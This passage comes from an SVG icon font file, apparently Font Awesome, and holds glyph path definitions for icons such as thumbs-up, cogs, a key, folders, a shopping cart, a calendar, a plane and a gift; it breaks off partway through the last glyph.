<glyph unicode="&#xf087;" d="M 64,48q0,6.5 -4.75,11.25t-11.25,4.75t-11.25-4.75t-4.75-11.25t 4.75-11.25t 11.25-4.75t 11.25,4.75t 4.75,11.25zM 352,192q0,12.75 -9.75,22.375t-22.25,9.625l-88,0 q0,14.5 12,39.875t 12,40.125q0,24.5 -8,36.25t-32,11.75q-6.5-6.5 -9.5-21.25t-7.625-31.375t-14.875-27.375q-5.5-5.75 -19.25-22.75q-1-1.25 -5.75-7.5t-7.875-10.25t-8.625-10.625 t-10-11t-9.625-8.875t-10-6.75t-8.875-2.25l-8,0 l0-160 l 8,0 q 3.25,0 7.875-0.75t 8.25-1.625t 9.5-2.75t 8.75-2.875t 8.875-3.125t 7.25-2.625q 52.75-18.25 85.5-18.25l 30.25,0 q 48,0 48,41.75q0,6.5 -1.25,14q 7.5,4 11.875,13.125t 4.375,18.375t-4.5,17.25q 13.25,12.5 13.25,29.75q0,6.25 -2.5,13.875t-6.25,11.875q 8,0.25 13.375,11.75t 5.375,20.25zM 384,192.25 q0-22.25 -12.25-40.75q 2.25-8.25 2.25-17.25q0-19.25 -9.5-36q 0.75-5.25 0.75-10.75q0-25.25 -15-44.5q 0.25-34.75 -21.25-54.875t-56.75-20.125l-9,0 l-23.25,0 q-24,0 -47.375,5.625t-54.125,16.375q-29,10 -34.5,10l-72,0 q-13.25,0 -22.625,9.375t-9.375,22.625l0,160 q0,13.25 9.375,22.625t 22.625,9.375l 68.5,0 q 9,6 34.25,38.75q 14.5,18.75 26.75,32 q 6,6.25 8.875,21.375t 7.625,31.625t 15.5,27q 9.75,9.25 22.5,9.25q 21,0 37.75-8.125t 25.5-25.375t 8.75-46.5q0-23.25 -12-48l 44,0 q 26,0 45-19t 19-44.75z" horiz-adv-x="384"  />
<glyph unicode="&#xf086;" d="M 352,192q0-34.75 -23.5-64.25t-64.125-46.625t-88.375-17.125q-21.5,0 -44,4q-31-22 -69.5-32q-9-2.25 -21.5-4l-0.75,0 q-2.75,0 -5.125,2t-2.875,5.25q-0.25,0.75 -0.25,1.625t 0.125,1.625t 0.5,1.5l 0.625,1.25t 0.875,1.375t 1,1.25t 1.125,1.25t 1,1.125q 1.25,1.5 5.75,6.25t 6.5,7.375t 5.625,7.25t 6.25,9.625t 5.125,11q-31,18 -48.75,44.25t-17.75,56 q0,34.75 23.5,64.25t 64.125,46.625t 88.375,17.125t 88.375-17.125t 64.125-46.625t 23.5-64.25zM 448,128q0-30 -17.75-56.125t-48.75-44.125q 2.5-6 5.125-11t 6.25-9.625t 5.625-7.25t 6.5-7.375t 5.75-6.25q 0.25-0.25 1-1.125t 1.125-1.25t 1-1.25t 0.875-1.375l 0.625-1.25t 0.5-1.5t 0.125-1.625t-0.25-1.625q-0.75-3.5 -3.25-5.5t-5.5-1.75 q-12.5,1.75 -21.5,4q-38.5,10 -69.5,32q-22.5-4 -44-4q-67.75,0 -118,33q 14.5-1 22-1q 40.25,0 77.25,11.25t 66,32.25q 31.25,23 48,53t 16.75,63.5q0,19.25 -5.75,38q 32.25-17.75 51-44.5t 18.75-57.5z"  />
<glyph unicode="&#xf085;" d="M 224,160q0,26.5 -18.75,45.25t-45.25,18.75t-45.25-18.75t-18.75-45.25t 18.75-45.25t 45.25-18.75t 45.25,18.75t 18.75,45.25zM 416,32q0,13 -9.5,22.5t-22.5,9.5t-22.5-9.5t-9.5-22.5q0-13.25 9.375-22.625t 22.625-9.375t 22.625,9.375t 9.375,22.625zM 416,288q0,13 -9.5,22.5t-22.5,9.5t-22.5-9.5t-9.5-22.5q0-13.25 9.375-22.625t 22.625-9.375 t 22.625,9.375t 9.375,22.625zM 320,182.75l0-46.25 q0-2.5 -1.75-4.875t-4-2.625l-38.75-6q-2.75-8.75 -8-19q 8.5-12 22.5-28.75q 1.75-2.5 1.75-5q0-3 -1.75-4.75q-5.75-7.5 -20.625-22.375t-19.625-14.875q-2.75,0 -5.25,1.75l-28.75,22.5q-9.25-4.75 -19.25-7.75q-2.75-27 -5.75-38.75q-1.75-6 -7.5-6l-46.5,0 q-2.75,0 -5,1.875t-2.5,4.375 l-5.75,38.25q-8.5,2.5 -18.75,7.75l-29.5-22.25q-1.75-1.75 -5-1.75q-2.75,0 -5.25,2q-36,33.25 -36,40q0,2.25 1.75,4.75q 2.5,3.5 10.25,13.25t 11.75,15.25q-5.75,11 -8.75,20.5l-38,6q-2.5,0.25 -4.25,2.375t-1.75,4.875l0,46.25 q0,2.5 1.75,4.875t 4,2.625l 38.75,6q 2.75,8.75 8,19q-8.5,12 -22.5,28.75q-1.75,2.75 -1.75,5q0,3 1.75,5q 5.5,7.5 20.5,22.25t 19.75,14.75q 2.75,0 5.25-1.75 l 28.75-22.5q 8.5,4.5 19.25,8q 2.75,27 5.75,38.5q 1.75,6 7.5,6l 46.5,0 q 2.75,0 5-1.875t 2.5-4.375l 5.75-38.25q 8.5-2.5 18.75-7.75l 29.5,22.25q 2,1.75 5,1.75q 2.75,0 5.25-2q 36-33.25 36-40q0-2.25 -1.75-4.75q-3-4 -10.5-13.5t-11.25-15q 5.75-12 8.5-20.5l 38-5.75q 2.5-0.5 4.25-2.625t 1.75-4.875zM 480,49.5l0-35 q0-4 -37.25-7.75 q-3-6.75 -7.5-13q 12.75-28.25 12.75-34.5q0-1 -1-1.75q-30.5-17.75 -31-17.75q-2,0 -11.5,11.75t-13,17q-5-0.5 -7.5-0.5t-7.5,0.5q-3.5-5.25 -13-17t-11.5-11.75q-0.5,0 -31,17.75q-1,0.75 -1,1.75q0,6.25 12.75,34.5q-4.5,6.25 -7.5,13q-37.25,3.75 -37.25,7.75l0,35 q0,4 37.25,7.75q 3.25,7.25 7.5,13q-12.75,28.25 -12.75,34.5q0,1 1,1.75q 1,0.5 8.75,5 t 14.75,8.5t 7.5,4q 2,0 11.5-11.625t 13-16.875q 5,0.5 7.5,0.5t 7.5-0.5q 12.75,17.75 23,28l 1.5,0.5q 1,0 31-17.5q 1-0.75 1-1.75q0-6.25 -12.75-34.5q 4.25-5.75 7.5-13q 37.25-3.75 37.25-7.75zM 480,305.5l0-35 q0-4 -37.25-7.75q-3-6.75 -7.5-13q 12.75-28.25 12.75-34.5q0-1 -1-1.75q-30.5-17.75 -31-17.75q-2,0 -11.5,11.75t-13,17 q-5-0.5 -7.5-0.5t-7.5,0.5q-3.5-5.25 -13-17t-11.5-11.75q-0.5,0 -31,17.75q-1,0.75 -1,1.75q0,6.25 12.75,34.5q-4.5,6.25 -7.5,13q-37.25,3.75 -37.25,7.75l0,35 q0,4 37.25,7.75q 3.25,7.25 7.5,13q-12.75,28.25 -12.75,34.5q0,1 1,1.75q 1,0.5 8.75,5t 14.75,8.5t 7.5,4q 2,0 11.5-11.625t 13-16.875q 5,0.5 7.5,0.5t 7.5-0.5q 12.75,17.75 23,28l 1.5,0.5q 1,0 31-17.5 q 1-0.75 1-1.75q0-6.25 -12.75-34.5q 4.25-5.75 7.5-13q 37.25-3.75 37.25-7.75z" horiz-adv-x="480"  />
<glyph unicode="&#xf084;" d="M 208,256q0,20 -14,34t-34,14t-34-14t-14-34q0-10.5 4.75-20.75q-10.25,4.75 -20.75,4.75q-20,0 -34-14t-14-34t 14-34t 34-14t 34,14t 14,34q0,10.5 -4.75,20.75q 10.25-4.75 20.75-4.75q 20,0 34,14t 14,34zM 420.75,80q0-4.25 -12.25-16.5t-16.5-12.25q-2.25,0 -7.125,4t-9.125,8.25t-9.625,10t-6.125,6.5 l-24-24l 55-55q 7-7 7-17q0-10.5 -9.75-20.25t-20.25-9.75q-10,0 -17,7l-167.75,167.75q-44-32.75 -91.25-32.75q-40.75,0 -66.375,25.625t-25.625,66.375q0,40 23.75,78.25t 62,62t 78.25,23.75q 40.75,0 66.375-25.625t 25.625-66.375q0-47.25 -32.75-91.25l 88.75-88.75l 24,24q-0.75,0.75 -6.5,6.125t-10,9.625t-8.25,9.125 t-4,7.125q0,4.25 12.25,16.5t 16.5,12.25q 3.25,0 5.75-2.5q 1.5-1.5 11.5-11.125t 20.5-19.875t 21.625-21.5t 18.25-19.5t 7.125-10.25z"  />
<glyph unicode="&#xf083;" d="M 232,176q0,3.5 -2.25,5.75t-5.75,2.25q-16.5,0 -28.25-11.75t-11.75-28.25q0-3.5 2.25-5.75t 5.75-2.25t 5.75,2.25t 2.25,5.75q0,10 7,17t 17,7q 3.5,0 5.75,2.25t 2.25,5.75zM 288,143.5q0-26.5 -18.75-45.25t-45.25-18.75t-45.25,18.75t-18.75,45.25t 18.75,45.25t 45.25,18.75t 45.25-18.75t 18.75-45.25zM 32,0l 384,0 l0,32 l-384,0 l0-32 zM 320,143.5q0,39.75 -28.125,67.875 t-67.875,28.125t-67.875-28.125t-28.125-67.875t 28.125-67.875t 67.875-28.125t 67.875,28.125t 28.125,67.875zM 64,304l 96,0 l0,32 l-96,0 l0-32 zM 32,256l 384,0 l0,29.5 l0,34.5 l-207,0 l-16-32l-161,0 l0-32 zM 448,320l0-320 q0-13.25 -9.375-22.625t-22.625-9.375l-384,0 q-13.25,0 -22.625,9.375t-9.375,22.625l0,320  q0,13.25 9.375,22.625t 22.625,9.375l 384,0 q 13.25,0 22.625-9.375t 9.375-22.625z"  />
<glyph unicode="&#xf082;" d="M 326.75,154.5l 5.75,54.75l-49.5,0 l0,27.25 q0,12.25 3.875,17.125t 17.875,4.875l 27.5,0 l0,54.75 l-43.75,0 q-38,0 -54.5-18t-16.5-53.25l0-32.75 l-32.75,0 l0-54.75 l 32.75,0 l0-158.75 l 65.5,0 l0,158.75 l 43.75,0 zM 384,280l0-240 q0-29.75 -21.125-50.875t-50.875-21.125l-240,0 q-29.75,0 -50.875,21.125t-21.125,50.875l0,240 q0,29.75 21.125,50.875t 50.875,21.125l 240,0  q 29.75,0 50.875-21.125t 21.125-50.875z" horiz-adv-x="384"  />
<glyph unicode="&#xf081;" d="M 320,231.5q-14-6.25 -30.25-8.5q 17,10 23.25,29.25q-16.25-9.5 -33.5-12.75q-15.25,16.5 -38.25,16.5q-21.75,0 -37.125-15.375t-15.375-37.125q0-7.25 1.25-12q-32.25,1.75 -60.5,16.25t-48,38.75q-7.25-12.5 -7.25-26.5q0-28.5 22.75-43.75q-11.75,0.25 -25,6.5l0-0.5 q0-18.75 12.5-33.375t 30.75-18.125q-7.25-2 -12.75-2q-3.25,0 -9.75,1 q 5.25-15.75 18.625-26t 30.375-10.5q-29-22.5 -65.25-22.5q-6.5,0 -12.5,0.75q 37-23.5 80.5-23.5q 28,0 52.5,8.875t 42,23.75t 30.125,34.25t 18.75,40.5t 6.125,42.125q0,4.5 -0.25,6.75q 15.75,11.25 26.25,27.25zM 384,280l0-240 q0-29.75 -21.125-50.875t-50.875-21.125l-240,0 q-29.75,0 -50.875,21.125t-21.125,50.875l0,240 q0,29.75 21.125,50.875 t 50.875,21.125l 240,0 q 29.75,0 50.875-21.125t 21.125-50.875z" horiz-adv-x="384"  />
<glyph unicode="&#xf080;" d="M 128,128l0-96 l-64,0 l0,96 l 64,0 zM 224,256l0-224 l-64,0 l0,224 l 64,0 zM 320,192l0-160 l-64,0 l0,160 l 64,0 zM 416,288l0-256 l-64,0 l0,256 l 64,0 zM 448,8l0,304 q0,3.25 -2.375,5.625t-5.625,2.375l-400,0 q-3.25,0 -5.625-2.375t-2.375-5.625l0-304 q0-3.25 2.375-5.625t 5.625-2.375l 400,0 q 3.25,0 5.625,2.375t 2.375,5.625z M 480,312l0-304 q0-16.5 -11.75-28.25t-28.25-11.75l-400,0 q-16.5,0 -28.25,11.75t-11.75,28.25l0,304 q0,16.5 11.75,28.25t 28.25,11.75l 400,0 q 16.5,0 28.25-11.75t 11.75-28.25z" horiz-adv-x="480"  />
<glyph unicode="&#xf07e;" d="M 448,160q0-6.5 -4.75-11.25l-64-64q-4.75-4.75 -11.25-4.75t-11.25,4.75t-4.75,11.25l0,32 l-256,0 l0-32 q0-6.5 -4.75-11.25t-11.25-4.75t-11.25,4.75l-64,64q-4.75,4.75 -4.75,11.25t 4.75,11.25l 64,64q 4.75,4.75 11.25,4.75t 11.25-4.75t 4.75-11.25l0-32 l 256,0 l0,32 q0,6.5 4.75,11.25t 11.25,4.75t 11.25-4.75l 64-64q 4.75-4.75 4.75-11.25z"  />
<glyph unicode="&#xf07d;" d="M 176,304q0-6.5 -4.75-11.25t-11.25-4.75l-32,0 l0-256 l 32,0 q 6.5,0 11.25-4.75t 4.75-11.25t-4.75-11.25l-64-64q-4.75-4.75 -11.25-4.75t-11.25,4.75l-64,64q-4.75,4.75 -4.75,11.25t 4.75,11.25t 11.25,4.75l 32,0 l0,256 l-32,0 q-6.5,0 -11.25,4.75t-4.75,11.25t 4.75,11.25l 64,64q 4.75,4.75 11.25,4.75t 11.25-4.75l 64-64q 4.75-4.75 4.75-11.25z" horiz-adv-x="192"  />
<glyph unicode="&#xf07c;" d="M 469.75,146q0-7.75 -7.75-16.5l-84-99q-10.75-12.75 -30.125-21.625t-35.875-8.875l-272,0 q-8.5,0 -15.125,3.25t-6.625,10.75q0,7.75 7.75,16.5l 84,99q 10.75,12.75 30.125,21.625t 35.875,8.875l 272,0 q 8.5,0 15.125-3.25t 6.625-10.75zM 384,232l0-40 l-208,0 q-23.5,0 -49.25-11.875t-41-29.875l-84.25-99l-1.25-1.5q0,1 -0.125,3.125 t-0.125,3.125l0,240 q0,23 16.5,39.5t 39.5,16.5l 80,0 q 23,0 39.5-16.5t 16.5-39.5l0-8 l 136,0 q 23,0 39.5-16.5t 16.5-39.5z" horiz-adv-x="480"  />
<glyph unicode="&#xf07b;" d="M 416,232l0-176 q0-23 -16.5-39.5t-39.5-16.5l-304,0 q-23,0 -39.5,16.5t-16.5,39.5l0,240 q0,23 16.5,39.5t 39.5,16.5l 80,0 q 23,0 39.5-16.5t 16.5-39.5l0-8 l 168,0 q 23,0 39.5-16.5t 16.5-39.5z" horiz-adv-x="416"  />
<glyph unicode="&#xf07a;" d="M 160,0q0-13.25 -9.375-22.625t-22.625-9.375t-22.625,9.375t-9.375,22.625t 9.375,22.625t 22.625,9.375t 22.625-9.375t 9.375-22.625zM 384,0q0-13.25 -9.375-22.625t-22.625-9.375t-22.625,9.375t-9.375,22.625t 9.375,22.625t 22.625,9.375t 22.625-9.375t 9.375-22.625zM 416,272l0-128 q0-6 -4-10.625t-10.25-5.375 l-261-30.5q 0.25-1.75 1.125-5.375t 1.5-6.625t 0.625-5.5q0-4 -6-16l 230,0 q 6.5,0 11.25-4.75t 4.75-11.25t-4.75-11.25t-11.25-4.75l-256,0 q-6.5,0 -11.25,4.75t-4.75,11.25q0,3.5 2.75,9.875t 7.375,14.875t 5.125,9.5l-44.25,205.75l-51,0 q-6.5,0 -11.25,4.75t-4.75,11.25t 4.75,11.25t 11.25,4.75l 64,0 q 4,0 7.125-1.625t 5-3.875t 3.25-6.125t 1.875-6.625 t 1.375-7.375t 1.125-6.375l 300.25,0 q 6.5,0 11.25-4.75t 4.75-11.25z" horiz-adv-x="416"  />
<glyph unicode="&#xf079;" d="M 320,8q0-3.25 -2.375-5.625t-5.625-2.375l-240,0 q-2,0 -3.375,0.5t-2.25,1.75t-1.375,2t-0.75,2.875t-0.25,2.875l0,3.25 l0,2.75 l0,40 l0,104 l-48,0 q-6.5,0 -11.25,4.75t-4.75,11.25q0,6 3.75,10.25l 80,96q 4.75,5.5 12.25,5.5t 12.25-5.5l 80-96q 3.75-4.25 3.75-10.25q0-6.5 -4.75-11.25t-11.25-4.75l-48,0 l0-96 l 144,0 q 4,0 6.25-2.75l 40-48q 1.75-2.75 1.75-5.25 zM 480,112q0-6 -3.75-10.25l-80-96q-5-5.75 -12.25-5.75t-12.25,5.75l-80,96q-3.75,4.25 -3.75,10.25q0,6.5 4.75,11.25t 11.25,4.75l 48,0 l0,96 l-144,0 q-4,0 -6.25,3l-40,48q-1.75,2.25 -1.75,5q0,3.25 2.375,5.625t 5.625,2.375l 240,0 q 2,0 3.375-0.5t 2.25-1.75t 1.375-2t 0.75-2.875t 0.25-2.875l0-3.25 l0-2.75 l0-40 l0-104 l 48,0 q 6.5,0 11.25-4.75t 4.75-11.25z " horiz-adv-x="480"  />
<glyph unicode="&#xf078;" d="M 402.75,208q0-13.25 -9.25-22.5l-162.75-162.75q-9.5-9.5 -22.75-9.5q-13.5,0 -22.5,9.5l-162.75,162.75q-9.5,9 -9.5,22.5q0,13.25 9.5,22.75l 18.5,18.75q 9.75,9.25 22.75,9.25q 13.25,0 22.5-9.25l 121.5-121.5l 121.5,121.5q 9.25,9.25 22.5,9.25q 13,0 22.75-9.25l 18.75-18.75q 9.25-9.75 9.25-22.75z" horiz-adv-x="416"  />
<glyph unicode="&#xf077;" d="M 402.75,80q0-13.25 -9.25-22.5l-18.75-18.75q-9.5-9.5 -22.75-9.5q-13.5,0 -22.5,9.5l-121.5,121.25l-121.5-121.25q-9-9.5 -22.5-9.5t-22.5,9.5l-18.75,18.75q-9.5,9 -9.5,22.5q0,13.25 9.5,22.75l 162.75,162.75q 9.25,9.25 22.5,9.25q 13,0 22.75-9.25l 162.5-162.75q 9.5-9.5 9.5-22.75z" horiz-adv-x="416"  />
<glyph unicode="&#xf076;" d="M 384,176l0-32 q0-50.25 -24.625-90.5t-68.5-62.875t-98.875-22.625t-98.875,22.625t-68.5,62.875t-24.625,90.5l0,32 q0,6.5 4.75,11.25t 11.25,4.75l 96,0 q 6.5,0 11.25-4.75t 4.75-11.25l0-32 q0-13 5.875-22.5t 13.375-14.25t 17.75-7.5t 16-3.25t 11-0.5t 11,0.5t 16,3.25t 17.75,7.5t 13.375,14.25t 5.875,22.5l0,32 q0,6.5 4.75,11.25t 11.25,4.75l 96,0  q 6.5,0 11.25-4.75t 4.75-11.25zM 128,336l0-96 q0-6.5 -4.75-11.25t-11.25-4.75l-96,0 q-6.5,0 -11.25,4.75t-4.75,11.25l0,96 q0,6.5 4.75,11.25t 11.25,4.75l 96,0 q 6.5,0 11.25-4.75t 4.75-11.25zM 384,336l0-96 q0-6.5 -4.75-11.25t-11.25-4.75l-96,0 q-6.5,0 -11.25,4.75t-4.75,11.25l0,96 q0,6.5 4.75,11.25t 11.25,4.75l 96,0 q 6.5,0 11.25-4.75t 4.75-11.25z" horiz-adv-x="384"  />
<glyph unicode="&#xf075;" d="M 448,160q0-43.5 -30-80.375t-81.5-58.25t-112.5-21.375q-17.5,0 -36.25,2q-49.5-43.75 -115-60.5q-12.25-3.5 -28.5-5.5q-4.25-0.5 -7.625,2.25t-4.375,7.25l0,0.25 q-0.75,1 -0.125,3t 0.5,2.5t 1.125,2.375l 1.5,2.25t 1.75,2.125t 2,2.25q 1.75,2 7.75,8.625t 8.625,9.5t 7.75,9.875t 8.125,12.75t 6.75,14.75t 6.5,19q-39.25,22.25 -61.875,55t-22.625,70.25 q0,32.5 17.75,62.125t 47.75,51.125t 71.5,34.125t 87,12.625q 61,0 112.5-21.375t 81.5-58.25t 30-80.375z"  />
<glyph unicode="&#xf074;" d="M 166.5,263.75q-15-23 -34.25-68.25q-5.5,11.25 -9.25,18.125t-10.125,15.875t-12.75,14.125t-15.75,8.75t-20.375,3.625l-56,0 q-3.5,0 -5.75,2.25t-2.25,5.75l0,48 q0,3.5 2.25,5.75t 5.75,2.25l 56,0 q 62.5,0 102.5-56.25zM 448,64q0-3.5 -2.25-5.75l-80-80q-2.25-2.25 -5.75-2.25q-3.25,0 -5.625,2.375t-2.375,5.625l0,48 q-8,0 -21.25-0.125t-20.25-0.25t-18.25,0.25 t-17.75,1.25t-16,2.625t-15.75,4.625t-14.5,7.125t-14.75,10t-13.75,13.375t-14,17.375q 14.75,23.25 34,68.25q 5.5-11.25 9.25-18.125t 10.125-15.875t 12.75-14.125t 15.75-8.75t 20.375-3.625l 64,0 l0,48 q0,3.5 2.25,5.75t 5.75,2.25q 3,0 6-2.5l 79.75-79.75q 2.25-2.25 2.25-5.75zM 448,288q0-3.5 -2.25-5.75l-80-80q-2.25-2.25 -5.75-2.25q-3.25,0 -5.625,2.375t-2.375,5.625 l0,48 l-64,0 q-12,0 -21.75-3.75t-17.25-11.25t-12.75-15.375t-11.25-19.375q-8-15.5 -19.5-42.75q-7.25-16.5 -12.375-27.75t-13.5-26.25t-16-25t-18.5-20.75t-22.5-17.125t-26.625-10.5t-32-4.125l-56,0 q-3.5,0 -5.75,2.25t-2.25,5.75l0,48 q0,3.5 2.25,5.75t 5.75,2.25l 56,0 q 12,0 21.75,3.75t 17.25,11.25t 12.75,15.375t 11.25,19.375q 8,15.5 19.5,42.75q 7.25,16.5 12.375,27.75 t 13.5,26.25t 16,25t 18.5,20.75t 22.5,17.125t 26.625,10.5t 32,4.125l 64,0 l0,48 q0,3.5 2.25,5.75t 5.75,2.25q 3,0 6-2.5l 79.75-79.75q 2.25-2.25 2.25-5.75z"  />
<glyph unicode="&#xf073;" d="M 32-32l 72,0 l0,72 l-72,0 l0-72 zM 120-32l 80,0 l0,72 l-80,0 l0-72 zM 32,56l 72,0 l0,80 l-72,0 l0-80 zM 120,56l 80,0 l0,80 l-80,0 l0-80 zM 32,152l 72,0 l0,72 l-72,0 l0-72 zM 216-32l 80,0 l0,72 l-80,0 l0-72 zM 120,152l 80,0 l0,72 l-80,0 l0-72 zM 312-32l 72,0 l0,72 l-72,0 l0-72 zM 216,56l 80,0 l0,80 l-80,0 l0-80 z M 128,272l0,72 q0,3.25 -2.375,5.625t-5.625,2.375l-16,0 q-3.25,0 -5.625-2.375t-2.375-5.625l0-72 q0-3.25 2.375-5.625t 5.625-2.375l 16,0 q 3.25,0 5.625,2.375t 2.375,5.625zM 312,56l 72,0 l0,80 l-72,0 l0-80 zM 216,152l 80,0 l0,72 l-80,0 l0-72 zM 312,152l 72,0 l0,72 l-72,0 l0-72 zM 320,272l0,72 q0,3.25 -2.375,5.625t-5.625,2.375l-16,0  q-3.25,0 -5.625-2.375t-2.375-5.625l0-72 q0-3.25 2.375-5.625t 5.625-2.375l 16,0 q 3.25,0 5.625,2.375t 2.375,5.625zM 416,288l0-320 q0-13 -9.5-22.5t-22.5-9.5l-352,0 q-13,0 -22.5,9.5t-9.5,22.5l0,320 q0,13 9.5,22.5t 22.5,9.5l 32,0 l0,24 q0,16.5 11.75,28.25t 28.25,11.75l 16,0 q 16.5,0 28.25-11.75t 11.75-28.25l0-24 l 96,0 l0,24 q0,16.5 11.75,28.25t 28.25,11.75 l 16,0 q 16.5,0 28.25-11.75t 11.75-28.25l0-24 l 32,0 q 13,0 22.5-9.5t 9.5-22.5z" horiz-adv-x="416"  />
<glyph unicode="&#xf072;" d="M 344,344q 11-13 3-37t-27-43l-40.25-40.25l 40-174q 1.25-4.75 -3-8.25l-32-24q-1.75-1.5 -4.75-1.5q-1,0 -1.75,0.25q-3.75,0.75 -5.25,4l-69.75,127l-64.75-64.75l 13.25-48.5q 1.25-4.25 -2-7.75l-24-24q-2.25-2.25 -5.75-2.25l-0.5,0 q-3.75,0.5 -6,3.25l-47.25,63l-63,47.25q-2.75,1.75 -3.25,5.75q-0.25,3.25 2.25,6.25l 24,24.25q 2.25,2.25 5.75,2.25 q 1.5,0 2-0.25l 48.5-13.25l 64.75,64.75l-127,69.75q-3.5,2 -4.25,6q-0.5,4 2.25,6.75l 32,32q 3.5,3.25 7.5,2l 166.25-39.75l 40,40q 19,19 43,27t 37-3z" horiz-adv-x="352"  />
<glyph unicode="&#xf071;" d="M 256,40.25l0,47.5 q0,3.5 -2.375,5.875t-5.625,2.375l-48,0 q-3.25,0 -5.625-2.375t-2.375-5.875l0-47.5 q0-3.5 2.375-5.875t 5.625-2.375l 48,0 q 3.25,0 5.625,2.375t 2.375,5.875zM 255.5,133.75l 4.5,114.75q0,3 -2.5,4.75q-3.25,2.75 -6,2.75l-55,0 q-2.75,0 -6-2.75q-2.5-1.75 -2.5-5.25l 4.25-114.25q0-2.5 2.5-4.125t 6-1.625l 46.25,0  q 3.5,0 5.875,1.625t 2.625,4.125zM 252,367.25l 192-352q 8.75-15.75 -0.5-31.5q-4.25-7.25 -11.625-11.5t-15.875-4.25l-384,0 q-8.5,0 -15.875,4.25t-11.625,11.5q-9.25,15.75 -0.5,31.5l 192,352q 4.25,7.75 11.75,12.25t 16.25,4.5t 16.25-4.5t 11.75-12.25z"  />
<glyph unicode="&#xf070;" d="M 138.75,50.25l 19.5,35.25q-21.75,15.75 -34,39.75t-12.25,50.75q0,30.25 15.25,56.25q-57.25-29.25 -95.25-88.25q 41.75-64.5 106.75-93.75zM 236,240q0,5 -3.5,8.5t-8.5,3.5q-31.25,0 -53.625-22.375t-22.375-53.625q0-5 3.5-8.5t 8.5-3.5t 8.5,3.5t 3.5,8.5q0,21.5 15.25,36.75t 36.75,15.25q 5,0 8.5,3.5t 3.5,8.5zM 326.75,287.75q0-1.75 -0.25-2.25 q-26.25-47 -78.75-141.5t-79-141.75l-12.25-22.25q-2.5-4 -7-4q-3,0 -33.5,17.5q-4,2.5 -4,7q0,3 11,21.75q-35.75,16.25 -65.875,43.25t-52.125,61.25q-5,7.75 -5,17.25t 5,17.25q 38.25,58.75 95,92.75t 124,34q 22.25,0 45-4.25l 13.5,24.25q 2.5,4 7,4q 1.25,0 4.5-1.5t 7.75-3.875t 8.25-4.625t 7.875-4.625t 4.875-2.875 q 4-2.5 4-6.75zM 336,176q0-34.75 -19.75-63.375t-52.25-41.125l 70,125.5q 2-11.25 2-21zM 448,144q0-8.75 -5-17.25q-9.75-16 -27.25-36.25q-37.5-43 -86.875-66.75t-104.875-23.75l 18.5,33q 53,4.5 98.125,34.25t 75.375,76.75q-28.75,44.75 -70.5,73.5l 15.75,28q 23.75-16 45.625-38.25t 36.125-46q 5-8.5 5-17.25z "  />
<glyph unicode="&#xf06e;" d="M 416,144q-38,59 -95.25,88.25q 15.25-26 15.25-56.25q0-46.25 -32.875-79.125t-79.125-32.875t-79.125,32.875t-32.875,79.125q0,30.25 15.25,56.25q-57.25-29.25 -95.25-88.25q 33.25-51.25 83.375-81.625t 108.625-30.375t 108.625,30.375t 83.375,81.625zM 236,240q0,5 -3.5,8.5t-8.5,3.5q-31.25,0 -53.625-22.375 t-22.375-53.625q0-5 3.5-8.5t 8.5-3.5t 8.5,3.5t 3.5,8.5q0,21.5 15.25,36.75t 36.75,15.25q 5,0 8.5,3.5t 3.5,8.5zM 448,144q0-8.5 -5-17.25q-35-57.5 -94.125-92.125t-124.875-34.625t-124.875,34.75t-94.125,92q-5,8.75 -5,17.25t 5,17.25q 35,57.25 94.125,92t 124.875,34.75t 124.875-34.75t 94.125-92q 5-8.75 5-17.25z"  />
<glyph unicode="&#xf06d;" d="M 352-40l0-16 q0-3.25 -2.375-5.625t-5.625-2.375l-336,0 q-3.25,0 -5.625,2.375t-2.375,5.625l0,16 q0,3.25 2.375,5.625t 5.625,2.375l 336,0 q 3.25,0 5.625-2.375t 2.375-5.625zM 288,224q0-19.5 -6.125-36t-16-28.125t-21.875-22t-24-19.375t-21.875-18t-16-20.375t-6.125-24.125q0-24 16.75-56l-1,0.25l 0.25-0.25 q-22.5,10.25 -40,20.75t-34.625,25t-28.375,30.625t-18.125,37.625t-6.875,46q0,19.5 6.125,36t 16,28.125t 21.875,22t 24,19.375t 21.875,18t 16,20.375t 6.125,24.125q0,23.5 -16.5,56l 0.75-0.25l-0.25,0.25q 22.5-10.25 40-20.75t 34.625-25t 28.375-30.625t 18.125-37.625t 6.875-46z" horiz-adv-x="352"  />
<glyph unicode="&#xf06c;" d="M 320,208q0,6.5 -4.75,11.25t-11.25,4.75q-43,0 -79.5-12.375t-64.875-33.5t-58.875-54.875q-4.75-5.25 -4.75-11.25q0-6.5 4.75-11.25t 11.25-4.75q 6,0 11.25,4.75q 6.75,6 18.5,17.75t 16.75,16.5q 34.25,31 67.125,44t 78.375,13q 6.5,0 11.25,4.75t 4.75,11.25zM 448,257.5q0-23.75 -5-48.25q-11.5-56 -46.125-95.75t-89.375-67 q-53.5-27 -109.5-27q-37,0 -71.5,11.75q-3.75,1.25 -22,10.5t-24,9.25q-4,0 -9.875-8t-11.25-17.5t-13.125-17.5t-15-8q-7.5,0 -12.75,2.75t-7.75,6t-6.75,10.5q-0.5,1 -1.5,2.75t-1.375,2.5t-0.75,2.375t-0.375,3.375q0,8.75 7.75,18.375t 17,16.375t 17,14t 7.75,12q0,1 -3.5,9.5t-4,11q-2.25,12.75 -2.25,26q0,28.75 10.875,55t 29.75,46.125 t 42.625,34.75t 51,23.875q 13.75,4.5 36.25,6.375t 44.875,2.25t 44.625,1.5t 40.875,6t 28.375,14.125l 7.375,7.375t 7.375,7t 6.75,5t 9.125,4t 10.875,1.125q 9.75,0 17.625-11.5t 11.875-28t 6-31t 2-24z"  />
<glyph unicode="&#xf06b;" d="M 232,45l0,14 l0,117 l0,48 l-80,0 l0-48 l0-117 l0-14 q0-6.25 4.5-9.625t 11.5-3.375l 48,0 q 7,0 11.5,3.375t 4.5,9.625zM 118,256l 48.75,0 l-31.5,40.25q-6.5,7.75 -17.25,7.75q-10,0 -17-7t-7-17t 7-17t 17-7zM 290,280q0,10 -7,17t-17,7q-10.75,0 -17.25-7.75l-31.25-40.25l 48.5,0 q 10,0 17,7t 7,17zM 384,216l0-80  q0-3.5 -2.25-5.75t-5.75-2.25l-24,0 l0-104 q0-10 -7-17t-17-7l-272,0 q-10,0 -17,7t-7,17l0,104 l-24,0 q-3.5,0 -5.75,2.25t-2.25,5.75l0,80 q0,3.5 2.25,5.75t 5.75,2.25l 110,0 q-23.25,0 -39.625,16.375t-16.375,39.625t 16.375,39.625t 39.625,16.375q 26.75,0 42-19.25l 32-41.25l 32,41.25q 15.25,19.25 42,19.25q 23.25,0 39.625-16.375t 16.375-39.625 t-16.375-39.625t-39.625-16.375l 110,0 q 3.5,0 